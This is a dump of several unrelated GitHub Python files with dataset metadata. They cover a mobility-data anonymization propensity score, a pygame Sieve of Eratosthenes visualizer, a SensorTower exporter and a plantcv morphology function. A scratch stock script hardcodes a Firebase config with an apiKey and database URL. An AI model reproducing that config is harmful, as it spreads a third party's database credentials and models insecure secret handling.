         max_datetime = datetime.fromtimestamp(self.original_dataset.get_max_timestamp(),\n                                                  self.original_dataset.timezone)\n\n            datetime_ranges = pd.date_range(min_datetime, max_datetime, freq=offset)\n\n        original_sequences = self.__compute_trajectory_sequences(self.original_dataset, tessellation, datetime_ranges)\n        # print('trajectory sequences computed')\n        anonymized_sequences = self.__compute_trajectory_sequences(self.anom_dataset, tessellation,\n                                                                   datetime_ranges)\n\n        # print('trajectory sequences computed 2')\n\n        # Check the max len of the sequences and repadding if necessary\n        max_orig = max([len(original_sequences[i]) for i in original_sequences.keys()])\n        max_anon = max([len(anonymized_sequences[i]) for i in anonymized_sequences.keys()])\n\n        if max_orig > max_anon:\n            for i in anonymized_sequences.keys():\n                anonymized_sequences[i] = [0] * (max_orig - len(anonymized_sequences[i])) + anonymized_sequences[i]\n\n        if max_anon > max_orig:\n            for i in original_sequences.keys():\n                original_sequences[i] = [0] * (max_anon - len(original_sequences[i])) + original_sequences[i]\n\n        df1 = pd.DataFrame([original_sequences[key] for key in original_sequences.keys()])\n        clas = [0] * len(df1)\n        df1['clas'] = clas\n        df2 = pd.DataFrame([anonymized_sequences[key] for key in anonymized_sequences.keys()])\n        clas = [1] * len(df2)\n        df2['clas'] = clas\n        df = df1.append(df2, ignore_index=True)\n        df = shuffle(df)\n\n        train, test = train_test_split(df, random_state=self.seed)\n        X_train = train.drop(columns=['clas'])\n        y_train = train['clas']\n        X_test = test.drop(columns=['clas'])\n        y_test = test['clas']\n        X_all = df.drop(columns=['clas'])\n        y_all = df['clas']\n\n\n        model = xgb.XGBClassifier(random_state=self.seed)\n\n        model.fit(X_train, y_train)\n        # preds_train = model.predict(X_train)\n        # preds_test = model.predict(X_test)\n        # print('accuracy in train:', accuracy_score(y_train, preds_train))\n        # print('accuracy in test:', accuracy_score(y_test, preds_test))\n\n        # preds_all = model.predict(X_all)\n        # print('accuracy in all:', accuracy_score(y_all, preds_all))\n\n        # probs = np.max(model.predict_proba(X_all), axis=1)\n        probs = model.predict_proba(X_all)[:,1]\n        v = 0\n        for prob in probs:\n            p = (prob - 0.5) ** 2\n            v += p\n        v /= len(probs)\n\n        return v * 4.0\n\n    def __compute_trajectory_sequences(self, dataset, tessellation, datetime_ranges=None):\n\n        tdf = dataset.to_tdf()\n\n        max_tile_id = tessellation['tile_ID'].max()\n        # print(f'MAX tile: {max_tile_id}')\n        # Map locations to spatial tiles\n        st_tdf = tdf.mapping(tessellation, remove_na=True)\n\n        # Modify tiles_id based on time\n        if datetime_ranges is not None:\n            st_tdf['tile_ID'] = st_tdf.apply(\n                lambda row: row['tile_ID'] + (\n                        max_tile_id * (bisect_left(datetime_ranges, row['datetime'].tz_localize(\"UTC\")) - 1)),\n                axis=1)\n\n            # Update the max tile id\n            max_tile_id = max_tile_id * len(datetime_ranges)\n            # print(f'New MAX tile: {max_tile_id}')\n\n        # Scale ids\n        tile_ids = st_tdf['tile_ID']\n        tile_ids.drop_duplicates(inplace=True)\n\n        new_tile_ids = (tile_ids - 0) / (max_tile_id - 0)\n\n        mapping = pd.Series(new_tile_ids.tolist(), index=tile_ids.tolist()).to_dict()\n        st_tdf['tile_ID'] = st_tdf['tile_ID'].map(mapping)\n\n        # Compute tiles sequences\n        logging.info(\"Computing tile sequences\")\n        sequences = {}\n\n        for index, l in st_tdf.iterrows():\n            try:\n                if l['tile_ID'] not in sequences[l['tid']]:\n                    sequences[l['tid']].append(l['tile_ID'])\n            except KeyError:\n                sequences[l['tid']] = [l['tile_ID']]\n\n        # Padding\n\n        # max length\n        max_length = 0\n        for i in sequences.keys():\n            if len(sequences[i]) > max_length:\n                max_length = len(sequences[i])\n\n        for i in sequences.keys():\n            sequences[i] = [0] * (max_length - len(sequences[i])) + sequences[i]\n\n        return sequences\n\n", "repo_name": "MobiDataLab/mdl-anonymizer", "sub_path": "mob_data_anonymizer/measures_methods/PropensityScore.py", "file_name": "PropensityScore.py", "file_ext": "py", "file_size_in_byte": 6592, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "mob_data_anonymizer.measures_methods.MeasuresMethodInterface.MeasuresMethodInterface", "line_number": 21, "usage_type": "name"}, {"api_name": "mob_data_anonymizer.entities.Dataset.Dataset", "line_number": 22, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 35, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 45, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 48, "usage_type": "call"}, {"api_name": "skmob.tessellation.tilers.tiler.get", "line_number": 50, "usage_type": "call"}, {"api_name": "skmob.tessellation.tilers.tiler", "line_number": 50, "usage_type": "attribute"}, {"api_name": "skmob.tessellation.tilers", "line_number": 50, "usage_type": "name"}, {"api_name": "pandas.to_numeric", "line_number": 52, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 56, "usage_type": "call"}, {"api_name": "pandas.DateOffset", "line_number": 57, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 59, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 59, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 61, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 61, "usage_type": "name"}, {"api_name": "pandas.date_range", "line_number": 64, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 85, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 88, "usage_type": "call"}, {"api_name": "sklearn.utils.shuffle", "line_number": 92, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 94, "usage_type": "call"}, {"api_name": "xgboost.XGBClassifier", "line_number": 103, "usage_type": "call"}, {"api_name": "bisect.bisect_left", "line_number": 137, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 150, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 154, "usage_type": "call"}]}
{"seq_id": "19040421861", "text": "import requests\nfrom bs4 import BeautifulSoup\n\n# import pyrebase\n\n# config ={\n#     \"apiKey\": \"AIzaSyCY1CKDsoF4frwE9hDv0Cvybc559hUrb70\",\n#     \"authDomain\": \"fstock-9ced2.firebaseapp.com\",\n#     \"projectId\": \"fstock-9ced2\",\n#     \"databaseURL\": \"https://fstock-9ced2-default-rtdb.asia-southeast1.firebasedatabase.app\",\n#     \"storageBucket\": \"fstock-9ced2.appspot.com\",\n#     \"messagingSenderId\": \"956197289236\",\n#     \"appId\": \"1:956197289236:web:a96a757386b39788435601\",\n#     \"measurementId\": \"G-HKY3F089QX\"\n# }\n\n# firebase = pyrebase.initialize_app(config)\n\n# def makeStock_data(current,date,stock):\n#     min = 0 \n#     max = current\n#     try:\n#         min = firebase.child(\"stock_data\").child(stock).child(date).get().value()[\"min\"]\n#         max = firebase.child(\"stock_data\").child(stock).child(date).get().value()[\"max\"]\n#     except Exception as e :\n#         print(e)\n#     if min > current :\n#         min = current\n#     elif max < current:\n#         max = current\n#     data_map = {\"date\":date, \"min\":min, \"max\":max, \"current\":current}\n#     return data_map\n\n\n# def pull_data(api):\n# r = requests.get(api)\n# web_c = BeautifulSoup(r.text,'lxml')\n# web_c = web_c.find('div',{\"class\":\"D(ib) Mend(20px)\" })\n# web_c = web_c.find('span').text\n# if web_c ==[]:\n        # web_c = \"9999\"\n    \n\n\n# if __name__==\"__main__\":\n# def data(api):\n#     r = requests.get(api)\n#     web = BeautifulSoup(r.text,\"lxml\")\n#     web = web.find('div',{\"class\":\"D(ib) Mend(20px)\" })\n#     web = web.find('span').text\n\n#     return str(web)\n# print(data(\"https://in.finance.yahoo.com/quote/%5EBSESN?p=%5EBSESN&.tsrc=fin-srch\"))\n\n\n# de = {\"aman\":\"79\",\"suman\":\"120\"}\n# for i in de:\n#         print(i,de[i])\n\n\n\n\n\n# #function to convert string into int or float \n# def con(data):\n#         inte=str()\n#         datali = list(data)\n#         for i in datali:\n#                 if i != \",\":\n#                         inte = inte+i\n#         result = float(inte)\n#         return result\n# print(type(con(\"52,23,45.09\")))\n\n\n\n# import pyrebase               \n                        \n\n# config ={\n#   \"apiKey\": \"AIzaSyCY1CKDsoF4frwE9hDv0Cvybc559hUrb70\",\n#   \"authDomain\": \"fstock-9ced2.firebaseapp.com\",\n#   \"databaseURL\": \"https://fstock-9ced2-default-rtdb.asia-southeast1.firebasedatabase.app\",\n#   \"projectId\": \"fstock-9ced2\",\n#   \"storageBucket\": \"fstock-9ced2.appspot.com\",\n#   \"messagingSenderId\": \"956197289236\",\n#   \"appId\": \"1:956197289236:web:649d4a76569d3341435601\",\n#   \"measurementId\": \"G-HZ7Z7R2HLG\"\n# }\n\n\n# firebase = pyrebase.initialize_app(config)\n# db = firebase.database()\n# data = {\"name\": \"Mortimer 'Morty' Smith\"}\n\n# db.child(\"users\").push(data)\n\n\n\n\n\n\n\n\n\nimport pyrebase\nfrom datetime import datetime\n\n\nconfig ={\n  \"apiKey\": \"AIzaSyCY1CKDsoF4frwE9hDv0Cvybc559hUrb70\",\n  \"authDomain\": \"fstock-9ced2.firebaseapp.com\",\n  \"databaseURL\": \"https://fstock-9ced2-default-rtdb.asia-southeast1.firebasedatabase.app\",\n  \"projectId\": \"fstock-9ced2\",\n  \"storageBucket\": \"fstock-9ced2.appspot.com\",\n  \"messagingSenderId\": \"956197289236\",\n  \"appId\": \"1:956197289236:web:649d4a76569d3341435601\",\n  \"measurementId\": \"G-HZ7Z7R2HLG\"\n}\n# initilizing pyrebase\nfirebase = pyrebase.initialize_app(config)\n\ndb = firebase.database()\n\ndb.child(\"stock\").child(\"nifty50\").child(str(datetime.now().date())).set({\"min\":\"23.67567\",\"max\":\"23.089\"})\nx = db.child(\"stock\").child(\"nifty50\").child(str(datetime.now().date())).get().val()[\"min\"]\nprint(float(x))\n\nprint(datetime.now().date())", "repo_name": "Fstockown/fstock", "sub_path": "functions.py", "file_name": "functions.py", "file_ext": "py", "file_size_in_byte": 3456, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pyrebase.initialize_app", "line_number": 121, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 125, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 125, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 126, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 126, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 129, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 129, "usage_type": "name"}]}
{"seq_id": "17701248213", "text": "import pygame\nimport sys\nfrom algorithm import sieve\nimport os\n\npygame.init()\n\nclock = pygame.time.Clock()\n\nnumbers_font = pygame.font.SysFont(\"ComicSansMS\", 25)\nbig_font = pygame.font.SysFont(\"Comic Sans MS\", 60)\nmedium_font = pygame.font.SysFont(\"Comic Sans MS\", 45)\nsmall_font = pygame.font.SysFont(\"Comic Sans MS\", 40)\n\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nGREY = (211, 211, 211)\nHOVERED_COLOR = (146, 185, 247)\nCHOSEN_COLOR = (255, 199, 204)\nLIGHT_GREEN = (182, 245, 66)\nLIGHT_RED = (255, 122, 122)\nCURRENT_NUMBER_COLOR = (211, 222, 151)\n\ndef setup():\n    win = pygame.display.set_mode((0, 0), pygame.FULLSCREEN)\n    pygame.display.set_caption(\"Sieve of Eratosthenes\")\n    s_width, s_height = pygame.display.get_surface().get_size()\n\n    return win, s_width, s_height\n\ndef blit_text(win, s_width, s_height, hovered_colors, chosen_color_idx):\n    script_path = os.path.dirname(__file__) # <-- absolute dir the script is in\n    grey_path = script_path + r\"\\img\\grey_info.png\"\n    green_path = script_path + r\"\\img\\green_info.png\"\n    red_path = script_path + r\"\\img\\red_info.png\"\n\n    grey_square = pygame.image.load(grey_path)\n    green_square = pygame.image.load(green_path)\n    red_square = pygame.image.load(red_path)\n\n    win.blit(grey_square, (s_width // 6.5, s_height // 2.05))\n    win.blit(green_square, (s_width // 2.8, s_height // 2.15))\n    win.blit(red_square, (s_width // 1.55, s_height // 2.17))\n    # below are the colors of the text currently hovered over\n    if hovered_colors is None:\n        hovered_colors = [WHITE, WHITE, WHITE]\n    if chosen_color_idx is not None:\n        hovered_colors[chosen_color_idx] = CHOSEN_COLOR\n\n    sieve_text = big_font.render(\"Sieve of Eratosthenes\", False, WHITE)\n    sieve_shadow = big_font.render(\"Sieve of Eratosthenes\", False, GREY)\n\n    choose_size = medium_font.render(\"Choose number size:\", False, WHITE)\n    small_txt = small_font.render(\"small\", False, hovered_colors[0])\n    medium_txt = small_font.render(\"medium\", False, hovered_colors[1])\n    big_txt = small_font.render(\"big\", False, hovered_colors[2])\n\n    main_text_pos = (s_width // 3.5, s_height // 8)\n    win.blit(sieve_shadow, (main_text_pos[0] + 2, main_text_pos[1] + 2))\n    win.blit(sieve_text, main_text_pos)\n\n    choose_text_position = (s_width // 3, s_height // 3.5)\n    win.blit(choose_size, choose_text_position)\n\n    sp = (s_width // 3, s_height // 2.8)\n    s = win.blit(small_txt, sp)\n    mp = (s_width // 2.3, s_height // 2.8)\n    m = win.blit(medium_txt, mp)\n    lp = (s_width // 1.8, s_height // 2.8)\n    l = win.blit(big_txt, lp)\n\n    return (s, m, l)\n\ndef menu(win, screen_width, screen_height):\n    hovered_colors = None\n    chosen_color_idx = None\n    while True:\n        win.fill(BLACK)\n        rects = blit_text(win, screen_width, screen_height, hovered_colors, chosen_color_idx)\n\n        mouse_pos = pygame.mouse.get_pos()\n        for event in pygame.event.get():\n            if event.type == pygame.KEYDOWN:\n                if event.key in (pygame.K_q, pygame.K_ESCAPE):\n                    pygame.quit(), sys.exit()\n                elif event.key == pygame.K_LEFT:\n                    if chosen_color_idx is not None:\n                        chosen_color_idx -= 1 if chosen_color_idx > 0 else 0\n                elif event.key == pygame.K_RIGHT:\n                    if chosen_color_idx is not None:\n                        chosen_color_idx += 1 if chosen_color_idx < 2 else 0\n                elif event.key == pygame.K_RETURN:\n                    if chosen_color_idx is not None:\n                        # return small, medium or large size number\n                        return [50, 100, 200][chosen_color_idx]\n            elif event.type == pygame.MOUSEBUTTONDOWN:\n                if event.button == pygame.BUTTON_LEFT:\n                    mouse_over_text = [rect.collidepoint(mouse_pos) for rect in rects]\n                    if 1 in mouse_over_text:\n                        idx = mouse_over_text.index(1)\n                        chosen_color_idx = idx\n\n        # create a hover graphic\n        mouse_hover = [rect.collidepoint(mouse_pos) for rect in rects]\n        if 1 in mouse_hover:\n            idx = mouse_hover.index(1)\n            hovered_colors = [WHITE if i != idx else HOVERED_COLOR for i in range(3)]\n        else:\n            hovered_colors = [WHITE, WHITE, WHITE]\n\n        pygame.display.update()\n\ndef run_algorithm(win, size, s_width, s_height):\n    columns = [int(size / (size / 10) + i) for i in range(100) if size % (size / 10) - i == 0][-1]\n    rows = int(size / columns)\n    square_width = int((s_width - 15) / columns)\n    square_height = int((s_height - 15) / rows)\n\n    fps = 3\n    finished = False\n    algorithm_steps = None\n    current_number = None\n    animate = True\n    while True:\n        win.fill(BLACK)\n        # if the algorithm is running create the square_color of the squares - red for the non-primes and green for the primes\n        if algorithm_steps is not None and not finished:\n            try:\n                current_step, current_number = next(algorithm_steps)\n            except StopIteration:\n                finished = True\n                current_number = float(\"inf\")\n        number = 1\n        for y in range(rows):\n            for x in range(columns):\n                text_color = WHITE\n                square_color = GREY\n                if algorithm_steps is not None:\n                    square_color = current_step[number]\n                    if square_color is True:\n                        square_color = LIGHT_GREEN\n                        text_color = BLACK\n                    else:\n                        square_color = LIGHT_RED\n\n                # if the number being drawn right now is the number we are using as a factor of the number size then square_color it differently and draw a circle around the number\n                if number == current_number:\n                    square_color = CURRENT_NUMBER_COLOR\n                    radius = 30\n                    circle_pos = (x * square_width + 22 + square_width // 2.45, y * square_height + square_height // 1.85)\n                    if size == 100:\n                        circle_pos = (x * square_width + 22 + square_width // 2.45, y * square_height + square_height // 1.45)\n                    elif size == 200:\n                        circle_pos = (x * square_width + 22 + square_width // 2.45, y * square_height + square_height // 1.3)\n                        radius = 20\n                    pygame.draw.circle(win, BLACK, circle_pos, radius, 5)\n\n                # hard code the position of the biggest number choice - 200 !(by making it work right the other 2 numbers break)!\n                middle_number_pos = [x * square_width + 15 + square_width // 2.45, y * square_height + 15 + square_height // 2.65]\n                if size == 200:\n                    middle_number_pos[1] = y * square_height + 15 + square_height // 10\n\n                rect = (x * square_width + 15, y * square_height + 15, square_width - 6, square_height - 6)\n                pygame.draw.rect(win, square_color, rect)\n                win.blit(numbers_font.render(str(number), False, text_color), middle_number_pos)\n\n                number += 1\n                if animate is True:\n                    animation_speed = size // 3\n                    clock.tick(animation_speed)\n                    pygame.display.update()\n                if number-1 == size:\n                    animate = False\n\n        if algorithm_steps is not None:\n            clock.tick(fps)\n\n        for event in pygame.event.get():\n            if event.type == pygame.KEYDOWN:\n                if event.key in (pygame.K_q, pygame.K_ESCAPE):\n                    pygame.quit(), sys.exit()\n                elif event.key == pygame.K_RETURN:\n                    algorithm_steps = sieve(size + 1)\n                elif event.key == pygame.K_r:\n                    algorithm_steps = sieve(size + 1)\n                    finished = False\n                elif event.key == pygame.K_m:\n                    main()\n\n            if event.type == pygame.MOUSEBUTTONDOWN:\n                if event.button == 4:\n                    fps += 2\n                elif event.button == 5:\n                    fps -= 2 if fps >= 3 else 0\n\n        pygame.display.update()\n\ndef main():\n    win, s_width, s_height = setup()\n    size = menu(win, s_width, s_height)\n    run_algorithm(win, size, s_width, s_height)\n\nif __name__ == \"__main__\":\n    main()", "repo_name": "Viktor-stefanov/Sieve-of-Eratosthenes-Visualization", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 8441, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pygame.init", "line_number": 6, "usage_type": "call"}, {"api_name": "pygame.time.Clock", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 12, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 25, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pygame.FULLSCREEN", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 26, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pygame.display.get_surface", "line_number": 27, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 37, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 37, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 38, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 38, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 39, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 81, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 81, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 82, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 82, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 83, "usage_type": "attribute"}, {"api_name": "pygame.K_q", "line_number": 84, "usage_type": "attribute"}, {"api_name": "pygame.K_ESCAPE", "line_number": 84, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 85, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 85, "usage_type": "call"}, {"api_name": "pygame.K_LEFT", "line_number": 86, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 89, "usage_type": "attribute"}, {"api_name": "pygame.K_RETURN", "line_number": 92, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 96, "usage_type": "attribute"}, {"api_name": "pygame.BUTTON_LEFT", "line_number": 97, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 111, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 111, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 156, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 156, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 164, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 164, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 171, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 171, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 178, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 178, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 179, "usage_type": "attribute"}, {"api_name": "pygame.K_q", "line_number": 180, "usage_type": "attribute"}, {"api_name": "pygame.K_ESCAPE", "line_number": 180, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 181, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 181, "usage_type": "call"}, {"api_name": "pygame.K_RETURN", "line_number": 182, "usage_type": "attribute"}, {"api_name": "algorithm.sieve", "line_number": 183, "usage_type": "call"}, {"api_name": "pygame.K_r", "line_number": 184, "usage_type": "attribute"}, {"api_name": "algorithm.sieve", "line_number": 185, "usage_type": "call"}, {"api_name": "pygame.K_m", "line_number": 187, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 190, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 196, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 196, "usage_type": "attribute"}]}
{"seq_id": "41918296014", "text": "import logging\nimport moment\nimport datetime\nfrom exporter import config\nfrom exporter.utils import export_writer\nfrom exporter.sensortower import utils\nfrom exporter.sensortower import export_featured_today\n\nlogger = logging.getLogger(__name__)\n\nFEATURED_TODAY_IOS_ENDPOINT = \"/ios/featured/apps\"\n\n\ndef export_featured_apps(exporter, export_from, export_to):\n    executor = FeaturedAppsExecutor(exporter)\n    executor.execute(export_from, export_to)\n\n\nclass FeaturedAppsExecutor(export_featured_today.FeaturedTodayExecutor):\n    kpi = \"featured_apps\"\n    aggregate = False\n\n    def get_proccessed_data(self, exported_data):\n        logger.info(f\"Processing featured apps data\")\n        proccessed_data = {}\n        for data in exported_data:\n            date = moment.date(data[\"date\"]).format(config.MOMENT_DATE_FORMAT)\n            country = data[\"country\"].lower()\n            for section in data[\"sections\"]:\n                for app in section[\"apps\"]:\n                    if (\n                        app[\"name\"] is not None\n                        and config.FEATURED_TODAY_APP_NAME in app[\"name\"]\n                    ):\n                        proccessed_data[(date, country)] = {\n                            \"app_name\": app[\"name\"],\n                            \"position\": section[\"position\"],\n                            \"title\": section[\"title\"],\n                            \"style\": section[\"style\"],\n                            \"app_icon\": app[\"icon_url\"],\n                            \"artwork\": app[\"artwork_url\"],\n                        }\n        return proccessed_data\n\n    def get_export_field_list(self):\n        return [\n            \"date\",\n            \"country\",\n            \"app_name\",\n            \"position\",\n            \"title\",\n            \"style\",\n            \"app_icon\",\n            \"artwork\",\n        ]\n\n    def get_export_data(self, params_list, exporter):\n        exported_data = []\n        for platform, params in params_list:\n            logger.info(f\"Getting featured apps data for params: {str(params)}\")\n            data = exporter.request_data(FEATURED_TODAY_IOS_ENDPOINT, params)\n            exported_data.extend(data)\n        return exported_data\n\n    def get_params(self, export_from, export_to, country, category):\n        return (\n            config.PLATFORM_IOS,\n            {\n                \"country\": country.upper(),\n                \"category\": category,\n                \"start_date\": export_from.strftime(config.DATE_FORMAT),\n                \"end_date\": export_to.strftime(config.DATE_FORMAT),\n                \"auth_token\": config.SENSORTOWER_AUTH_TOKEN,\n            },\n        )\n\n    def get_params_list(self, export_from, export_to):\n        params_list = []\n        while export_to - export_from > datetime.timedelta(days=0):\n            export_to_shorten = export_from + datetime.timedelta(days=config.FEATURED_MAX_RANGE)\n            for country in config.COUNTRIES:\n                for category in config.SENSORTOWER_FEATURED_APPS_IOS_CATEGORIES:\n                    params = self.get_params(export_from, export_to_shorten, country, category)\n                    params_list.append(params)\n            export_from = export_to_shorten\n        return params_list\n", "repo_name": "freeletics/ASO-collector", "sub_path": "exporter/sensortower/export_featured_apps.py", "file_name": "export_featured_apps.py", "file_ext": "py", "file_size_in_byte": 3212, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "exporter.sensortower.export_featured_today.FeaturedTodayExecutor", "line_number": 19, "usage_type": "attribute"}, {"api_name": "exporter.sensortower.export_featured_today", "line_number": 19, "usage_type": "name"}, {"api_name": "moment.date", "line_number": 27, "usage_type": "call"}, {"api_name": "exporter.config.MOMENT_DATE_FORMAT", "line_number": 27, "usage_type": "attribute"}, {"api_name": "exporter.config", "line_number": 27, "usage_type": "name"}, {"api_name": "exporter.config.FEATURED_TODAY_APP_NAME", "line_number": 33, "usage_type": "attribute"}, {"api_name": "exporter.config", "line_number": 33, "usage_type": "name"}, {"api_name": "exporter.request_data", "line_number": 61, "usage_type": "call"}, {"api_name": "exporter.config.PLATFORM_IOS", "line_number": 67, "usage_type": "attribute"}, {"api_name": "exporter.config", "line_number": 67, "usage_type": "name"}, {"api_name": "exporter.config.DATE_FORMAT", "line_number": 71, "usage_type": "attribute"}, {"api_name": "exporter.config", "line_number": 71, "usage_type": "name"}, {"api_name": "exporter.config.DATE_FORMAT", "line_number": 72, "usage_type": "attribute"}, {"api_name": "exporter.config", "line_number": 72, "usage_type": "name"}, {"api_name": "exporter.config.SENSORTOWER_AUTH_TOKEN", "line_number": 73, "usage_type": "attribute"}, {"api_name": "exporter.config", "line_number": 73, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 79, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 80, "usage_type": "call"}, {"api_name": "exporter.config.FEATURED_MAX_RANGE", "line_number": 80, "usage_type": "attribute"}, {"api_name": "exporter.config", "line_number": 80, "usage_type": "name"}, {"api_name": "exporter.config.COUNTRIES", "line_number": 81, "usage_type": "attribute"}, {"api_name": "exporter.config", "line_number": 81, "usage_type": "name"}, {"api_name": "exporter.config.SENSORTOWER_FEATURED_APPS_IOS_CATEGORIES", "line_number": 82, "usage_type": "attribute"}, {"api_name": "exporter.config", "line_number": 82, "usage_type": "name"}]}
{"seq_id": "22559772981", "text": "# Find euclidean lengths of skeleton segments\n\nimport os\nimport cv2\nimport numpy as np\nfrom plantcv.plantcv import params\nfrom plantcv.plantcv import outputs\nfrom plantcv.plantcv import plot_image\nfrom plantcv.plantcv import print_image\nfrom plantcv.plantcv import fatal_error\nfrom plantcv.plantcv import find_objects\nfrom plantcv.plantcv import color_palette\nfrom scipy.spatial.distance import euclidean\nfrom plantcv.plantcv.morphology import find_tips\n\n\n\ndef segment_euclidean_length(segmented_img, objects):\n    \"\"\" Use segmented skeleton image to gather euclidean length measurements per segment\n\n        Inputs:\n        segmented_img = Segmented image to plot lengths on\n        objects       = List of contours\n\n        Returns:\n        labeled_img      = Segmented debugging image with lengths labeled\n\n        :param segmented_img: numpy.ndarray\n        :param objects: list\n        :return labeled_img: numpy.ndarray\n\n        \"\"\"\n    # Store debug\n    debug = params.debug\n    params.debug = None\n\n    x_list = []\n    y_list = []\n    segment_lengths = []\n    rand_color = color_palette(len(objects))\n\n\n    labeled_img = segmented_img.copy()\n\n    for i, cnt in enumerate(objects):\n        # Store coordinates for labels\n        x_list.append(objects[i][0][0][0])\n        y_list.append(objects[i][0][0][1])\n\n        # Draw segments one by one to group segment tips together\n        finding_tips_img = np.zeros(segmented_img.shape[:2], np.uint8)\n        cv2.drawContours(finding_tips_img, objects, i, (255, 255, 255), 1, lineType=8)\n        segment_tips = find_tips(finding_tips_img)\n        tip_objects, tip_hierarchies = find_objects(segment_tips, segment_tips)\n        points = []\n        if not len(tip_objects) == 2:\n            fatal_error(\"Too many tips found per segment, try pruning again\")\n        for t in tip_objects:\n            # Gather pairs of coordinates\n            x, y = t.ravel()\n            coord = (x, y)\n            points.append(coord)\n\n        # Draw euclidean distance lines\n        cv2.line(labeled_img, points[0], points[1], rand_color[i], 1)\n\n        # Calculate euclidean distance between tips of each contour\n        segment_lengths.append(euclidean(points[0], points[1]))\n\n    segment_ids = []\n    # Put labels of length\n    for c, value in enumerate(segment_lengths):\n        text = \"{:.2f}\".format(value)\n        w = x_list[c]\n        h = y_list[c]\n        cv2.putText(img=labeled_img, text=text, org=(w, h), fontFace=cv2.FONT_HERSHEY_SIMPLEX,\n                    fontScale=params.text_size, color=(150, 150, 150), thickness=params.text_thickness)\n        segment_label = \"ID\" + str(c)\n        segment_ids.append(c)\n\n    outputs.add_observation(variable='segment_eu_length', trait='segment euclidean length',\n                            method='plantcv.plantcv.morphology.segment_euclidean_length', scale='pixels', 